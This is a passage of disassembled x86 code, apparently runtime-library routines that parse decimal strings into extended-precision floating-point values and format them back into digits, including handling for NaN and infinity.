		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
